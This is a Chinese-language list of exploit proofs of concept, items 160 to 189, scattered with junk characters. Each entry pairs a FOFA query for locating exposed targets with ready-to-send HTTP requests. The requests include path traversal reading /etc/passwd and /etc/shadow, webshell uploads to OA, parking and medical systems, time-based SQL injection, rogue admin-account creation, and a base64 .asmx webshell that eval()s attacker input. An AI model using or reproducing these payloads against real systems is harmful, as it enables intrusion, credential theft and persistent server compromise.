1 j/ E) I. ]7 {<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
" y  M; |# u, s+ f<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
</soap:Body>
2 s9 \9 W3 g0 D</soap:Envelope>
6 d& i7 j8 O! r2 H: c+ P( D& [9 R  ?+ Q
% T) h/ v9 o# N: F7 I
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
2 e$ a' u5 m. r" e  {
; R7 b$ F% G* @4 W
160. Sonatype Nexus Repository 3目录遍历与文件读取
3 v7 Z% L% k* l8 g" D+ wCVE-2024-4956
FOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
) u) V8 t9 i+ D5 HHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
# @, s7 _0 @' [! q9 C' `% o7 j2 j! N; CConnection: close
Accept: */*
+ b  H. U# k: Q- ?8 LAccept-Language: en
; M" M' P* B- r: ?' MAccept-Encoding: gzip
1 ~2 k3 T  G" L7 Z/ l& C

161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
/ a$ @: s( r0 Q! u: Y" D9 o  }1 WFOFA：body="/KT_Css/qd_defaul.css"
& s: F& y4 m% u! x) r; m6 h# q0 |第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
7 h0 W& S& A% f! t* L; S8 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
$ D7 p! j8 n. M. nConnection: close
5 P. c0 h9 W* q' r# KContent-Length: 445
Content-Type: text/xml
5 S& T8 E& `5 E+ M3 B8 JAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
# @% v) `; R" y' U. ?( b" ?  n2 V) [<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
0 a9 w* u% m1 R- G* e; Pxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
+ A) t1 y" P* g4 z1 }) v<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
3 \  |9 j& i' H7 f1 e1 K6 J<tag>3</tag>
1 L* A3 ^- _9 i, o: E8 l; T3 h/ @</UploadResume>
</soap:Body>
</soap:Envelope>


7 [) f1 |: g& @  t+ _1 z5 d+ |http://x.x.x.x/dizxdell.aspx

162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
8 b7 E/ S) Q7 c6 MFOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
) y: {' d' h5 Q9 \& {( yContent-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

# R, @9 Z! v0 U' u( H) k5 G5 e( J------WebKitFormBoundaryeegvclmyurlotuey
) G2 A! u  |5 n' t) M% ^Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
: O2 A1 g* Z4 C3 F8 i( N
) j; {/ W# u/ C6 N  A" [<% response.write("ujidwqfuuqjalgkvrpqy") %>
' ?2 x" G0 J6 j4 e! {/ t------WebKitFormBoundaryeegvclmyurlotuey
0 D) R" V' {; x0 RContent-Disposition: form-data; name="action"

9 x4 }' Y! i$ u% g! n4 l; d1 C$ Oupload
/ J( |, r  P. x3 L: N& u+ \------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"

& ?. o. |4 I$ h6 n- W% HResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"
/ a. m, J1 P6 c% M
1 x" K5 _2 N  `8 ?& x9 f+ r# M' c/opt/resources
4 o# `# C$ X* r6 g------WebKitFormBoundaryeegvclmyurlotuey--
+ H* T. \0 A/ g8 a( P" w
0 @& }" }! ^$ }! y9 b4 }
+ o) b0 v) `1 m& N! _http://x.x.x.x/opt/resources/kjuhitjgk.aspx
# F5 Z- D6 J) H% b  B% P
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
& l7 M7 j8 ]0 @% R5 OPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
9 r- L1 I% Y4 o1 D* C4 uConnection: close
( v1 C1 \; g' ?Content-Length: 293
' Q! Y/ p" ?- TAccept: */*
/ Q, E, z! A2 o3 M- C4 qAccept-Encoding: gzip, deflate
9 H7 \6 ^) M" N5 MAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
2 Q$ d& R+ q* o1 A+ X
5 R: @: K) R) O0 m0 [3 }8 \; ~3 {------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
$ d9 g- x( M9 `3 }6 ?0 @4 J' H& g8 A! ^Content-Type: image/jpeg
- |( h; Q- u& i
- D) h5 H1 j8 y5 ]3 a2 O5 x+ _rvjhvbhwwuooyiioxega
9 A+ H( q9 o  Y4 n------iiqvnofupvhdyrcoqyuujyetjvqgocod--
/ _! \. Q# k6 P) x$ ~

1 g- P. \- h% q" i# \* Q5 [6 l164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
) q0 }1 s3 Z; z: E  fPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
" O9 c2 M7 P  @Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
5 A. O$ l5 _1 v2 O3 q" J
, s( i# r; n1 ~4 P6 R! k# p( S------dqdaieopnozbkapjacdbdthlvtlyl
1 }! a3 O' l# j0 d1 I' HContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
* G) O0 S' A, F# m5 R- r6 X, TContent-Type: image/jpeg
) u$ {  ^0 i! g: \6 @
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--


http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
7 k  e2 S1 g( A

166. 中成科信票务管理平台SeatMapHandler SQL注入
. u" z  V6 ?! Z8 TFOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
# A" W- A, t" M: IPragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
! k: Y; i6 C3 y, T7 z# C9 @4 |Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
# n( Q4 ^/ T- CContent-Type: application/x-www-form-urlencoded
Content-Length: 89

* W+ ^( \0 [' ?7 p5 {, }. J& ^Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
8 @. o! R" h' b( n6 E, Q
3 b- e0 c2 n; p& p1 F
+ f" `5 {2 c) G. G2 V167. 精益价值管理系统 DownLoad.aspx任意文件读取
2 y- G" t* d7 @2 M9 ~, xFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
4 m! ~4 t" C+ k2 XGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
7 k1 n2 Y3 a0 h! {# G: t) tHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
: M5 i/ R* j* [: f. j! T; a/ L: pConnection: keep-alive
$ X. H9 h( @% R( S
) y& y& b7 L5 j, T( G1 O. ^3 F
168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
) F5 U8 O, s( `+ e5 e% L6 iGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
2 H6 m" X) ]3 F. `4 hContent-Type: application/x-www-form-urlencoded
+ o/ L8 K0 m% s& VConnection: close
; h  n% J/ N; D( d% Y3 p
. m) @9 y& [1 r
. L5 x2 y/ I5 |* I; T* d
/ A/ `# j' i$ N% e7 A169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
; F* @4 }3 l7 R4 _# U* v; D! OHost: your-ip
( U1 ]( U$ a, ^( a( e2 v  z! TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
: M3 Z1 q9 V3 r( I3 x( M) eConnection: close

5 }. J2 F  D# f8 C

/ T1 P) l4 _5 d170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
9 y" K" m: q) J0 p& NPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
8 v4 y) y% S4 u% k7 kHost: balalanengliang
# \7 y5 v7 G/ g' Q! NUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml
5 J. ^4 Y, i3 ~! J, ?

171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
2 I. x/ g! o2 v0 a6 `GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
% z) [; h5 |1 n+ p2 V# F& oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close



* y7 K& j+ ?, G' E1 }172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
' K5 _" s/ P( L& RGET /../../../../etc/passwd HTTP/1.1
% x! X% C, l" ?) b: H; P( p* B+ nHost: your-ip
  K9 o" Q- m3 E: mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
% J6 V$ x: M2 J# S; k4 @  nConnection: keep-alive
' d6 m5 P; Q& L, D9 o; p


173. Check Point 安全网关任意文件读取
9 q; H4 j9 b* @! Y2 vCVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
/ a% @0 N. i* U; A- r; d+ vPOST /clients/MyCRL HTTP/1.1
8 r3 n2 |6 D4 z" hHost: your-ip
Content-Type: application/x-www-form-urlencoded

% G6 \6 J* p1 z. N' l* S8 {aCSHELL/../../../../../../../etc/shadow


# H* X% s5 m; m
* ?9 @" n5 O5 E( C+ D174. 金和OA C6 FileDownLoad.aspx 任意文件读取
$ M7 q  D$ W1 PFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
! j9 o8 f  x& u' ^Host: your-ip
& [( x: F( D3 ^1 g- aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. X- J* g4 t0 k$ v8 M& c, |Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
2 m6 k- i# A4 j- V8 BConnection: close

7 B% c* _" I8 Q/ d# Y# }. l
: U% _' q7 ^* v8 L+ J) o' l5 l
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
# ]$ d1 `- l+ F7 C. zFOFA：app="金和网络-金和OA"
6 g6 h1 [% F6 n; b7 U% EGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
* z( `4 g2 [5 P! D) q7 [- X, q1 d7 fUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
0 J6 @0 U$ C9 PConnection: close
; {6 K- T- n) {% O. hUpgrade-Insecure-Requests: 1


176. 电信网关配置管理系统 rewrite.php 文件上传
% p7 m8 d: ]4 u8 V1 ^8 FFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
- m1 D1 z5 O, w7 X: rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
  y( l: |( R2 C- c" q9 g
------WebKitFormBoundaryOKldnDPT
" @6 }8 t  K; L% h& y! XContent-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
' a2 k# _7 q0 R. w: B) Y------WebKitFormBoundaryOKldnDPT
" V* r, p" H! m4 v! D) {Content-Disposition: form-data; name="uploadtime"


% e2 q$ Z, P+ M; J1 a4 V------WebKitFormBoundaryOKldnDPT--



; N, i: f1 g/ y) X% }  l( }177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
. l! S* B- f. r. Y5 N% U4 [/userLogin.asp/../actionpolicy_status/../M60.cfg
( {& m* [; G# X5 l- Z+ ?/userLogin.asp/../actionpolicy_status/../GR8300.cfg
2 D. V( Z3 c4 O& Q( I/userLogin.asp/../actionpolicy_status/../GR5200.cfg
2 Q+ ]- x+ @& n2 ]& w! Z/userLogin.asp/../actionpolicy_status/../GR3200.cfg
  a& a7 n; r7 s6 m/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
. b+ N3 o5 n6 B6 H/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
6 a) |2 y0 D' n" d/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
0 M  a4 y/ L7 g2 @3 w3 o/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
2 ]4 b. @# O9 _/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
% l( W' L$ K- c! I. D1 I/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/ x8 s, O  s! z% Q" e; f0 q5 O/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
. a4 n3 t4 ]; h* J/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
7 B# K9 n6 G' ]0 I* E5 c. ^# I

178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
2 D3 a2 W/ X8 n, k; U) _. @POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
, i0 {- Z  O5 t. eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
# @; m2 }6 @4 [7 {; yContent-Length: 252
! ^; v6 L( f; p2 F2 I5 w  q! M, iAccept-Encoding: gzip, deflate
$ [9 @, f6 ?0 ~' F! v" D: T4 `" q1 aConnection: close
1 z( z, S- C7 k& n2 K& v! zContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
6 [0 @; N% L  j6 t. ~: R! N# p: t-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
Content-Length: 255
) T7 b  y8 j) w, R8 K5 C
; }9 e8 c. F/ M12234
-----------------aqutkea7vvanpqy3rh2l--


% c+ v4 c  T9 a1 b6 l8 I% ^GET /imc/primepush/%2e%2e/flex/12234.txt
# p& ]. r2 `- U% ^8 G7 q# s# q& Y
6 C  n. w8 q( W# D3 Q9 E  I9 P; z: x% Y
  s8 b! M: i1 c) K' S8 Y% o179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
+ j9 ~# n, H$ u6 t1 LContent-Type: application/x-www-form-urlencoded
% k" ?/ X* p+ b- HUser-Agent: Mozilla/5.0

, W) u  w: T+ \6 s: G% o9 {/ Opath=../log4net.config&Name=

5 B8 R2 n1 a' J4 a5 v$ F
180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
' `" G$ P0 A# \5 L7 @; e5 A* RHost: your-ip
- _4 t7 H' z6 {3 r7 wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
. Y8 r! Q5 _; K) J* zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  o$ O; z$ g$ E9 |  n, z) a! v4 ]$ Q, bAccept-Encoding: gzip, deflate
. a9 x- Z+ i% oAccept-Language: zh-CN,zh;q=0.9
Connection: close
! p; O6 N5 L/ ~6 R/ z1 f3 M

181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
( R" k" O4 Y4 c4 Y* e: w1 U1 j" hPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
) @" g8 F3 S0 O$ N1 q0 s  Z3 t& x2 K  UHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
- @- Y7 |* I' _- zAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

! L/ Y" O; s6 w
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
' s3 X9 Y0 |9 D* Y
7 t* Y. b/ o' _' w: L7 ?+ k1 q
3 z: i1 {% Q. {6 O. s/ z: f! |182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
! w8 F7 g  G. H) _5 Z* a3 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" K% u* f9 a& N- \: n8 DAccept-Encoding: gzip, deflate, br
6 g% H, Y3 F+ [  cAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded


username=test1234&pwd=test1234&savedays=1


183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
* @3 C4 y* z: d8 D+ R" H: e, j3 g1 YHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
" N% A' ]1 ^6 x" W/ u, }# ]7 MAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

5 y7 z' A$ T& W* {; S$ j5 A# Y
1 y0 w4 Y3 m. U6 l4 Q184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
4 k1 Z6 m% ], `' M7 aFOFA：server="SunFull-Webs"
% m% ?7 d$ U" D" e+ }0 R, lPOST /soap/AddUser HTTP/1.1
6 |$ e5 n! |$ dHost: your-ip
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
, b# n) O7 o  p; XAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest

7 f, @$ u  ?: `  B( X/ v$ n4 Q% T$ `% v( D
- _  i$ c$ @( W/ A" C( }+ \3 Winsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
5 ^& I$ c4 v# F5 P$ ?  `, ^+ R3 t

$ V: _1 x' i, m0 e0 |1 N; x9 @' D185. 瑞友天翼应用虚拟化系统SQL注入
3 w0 S% X; A9 ]version < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
8 l; Y) a7 ?2 |9 h
" _/ Y! g5 y" W. ~
( z+ D8 {( H; j0 F1 c186. F-logic DataCube3 SQL注入
CVE-2024-31750
$ Q7 g3 y& W' C; h4 dF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
) Y$ r. ]1 {5 b, c* A' c; C. f" u& KHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded

req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


187. Mura CMS processAsyncObject SQL注入
' r' W& h! |& T" v$ `CVE-2024-32640
' X) c! D2 G" T- y2 ~2 nFOFA："Mura CMS"
0 O. A8 j" D) UPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
9 E7 ^2 D0 e2 Z; u+ G3 z- H  k; y! {' DContent-Type: application/x-www-form-urlencoded
' l+ ~+ U) U4 e) g7 n
) U4 G" Z4 ^( _8 c- n# i
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
. {, `7 {: s+ @/ j8 [; S

) A5 I6 z! o) R9 V4 l& z188. 叁体-佳会视频会议 attachment 任意文件读取
5 S( Y# _. ~6 G, n! e2 D( uversion <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
) [9 U5 c$ B0 V: A( `( o! pGET /attachment?file=/etc/passwd HTTP/1.1
2 W) |7 }2 w- G# `/ G* O. P9 h4 q5 kHost: your-ip
8 O* k. u7 A" R# s7 wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
7 q7 {  ]3 h- B& lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ P" p/ s  N3 K/ s2 v+ _; |Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
* i4 t# M  [$ Z5 b! mConnection: close


189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
/ n7 z+ p# B9 z. Z! y& O  yUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
- D  B. i! e+ l4 u' D9 hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

0 y. C4 t* e8 c3 Q- J- v( G7 M
